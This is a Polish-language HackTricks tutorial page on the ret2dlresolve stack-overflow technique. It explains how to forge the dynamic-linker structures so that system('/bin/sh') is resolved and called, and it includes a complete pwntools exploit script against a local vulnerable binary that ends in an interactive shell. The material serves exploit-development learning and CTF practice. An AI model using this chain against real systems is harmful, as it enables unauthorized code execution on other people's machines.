hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md

5.5 KiB

Ret2dlresolve

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Jak wyjaśniono na stronie dotyczącej GOT/PLT i Relro, binarne pliki bez pełnego Relro będą rozwiązywać symbole (takie jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy zostaną użyte. To rozwiązanie następuje poprzez wywołanie funkcji _dl_runtime_resolve.

Funkcja _dl_runtime_resolve pobiera ze stosu odwołania do pewnych struktur, których potrzebuje do rozwiązania określonego symbolu.

Dlatego możliwe jest podrobienie wszystkich tych struktur, aby dynamiczne rozwiązanie odwołań mogło rozwiązać żądany symbol (np. funkcję system) i wywołać ją z ustawionym parametrem (np. system('/bin/sh')).

Zazwyczaj wszystkie te struktury są fałszowane poprzez utworzenie początkowego łańcucha ROP, który wywołuje read na zapisywalnej pamięci, a następnie przekazywane są struktury i łańcuch znaków '/bin/sh', aby zostały zapisane przez read w znanym miejscu, a następnie łańcuch ROP kontynuuje wywołanie _dl_runtime_resolve z adresem do $'/bin/sh'.

{% hint style="success" %} Ta technika jest szczególnie przydatna, zwłaszcza jeśli nie ma gadżetów systemowych (do użycia technik takich jak ret2syscall lub SROP) i nie ma sposobów na wyciek adresów libc. {% endhint %}

Możesz znaleźć lepsze wyjaśnienie tej techniki w drugiej połowie tego filmu:

{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}

Struktury

Konieczne jest podrobienie 3 struktur: JMPREL, STRTAB i SYMTAB. Masz lepsze wyjaśnienie, jak są one budowane w https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Podsumowanie ataku

  1. Napisz fałszywe struktury w pewnym miejscu
  2. Ustaw pierwszy argument systemu ($rdi = &'/bin/sh')
  3. Ustaw na stosie adresy do struktur, aby wywołać _dl_runtime_resolve
  4. Wywołaj _dl_runtime_resolve
  5. system zostanie rozwiązany i wywołany z '/bin/sh' jako argumentem

Przykład

Możesz znaleźć przykład tej techniki tutaj z bardzo dobrym wyjaśnieniem końcowego łańcucha ROP, ale oto używany końcowy exploit:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: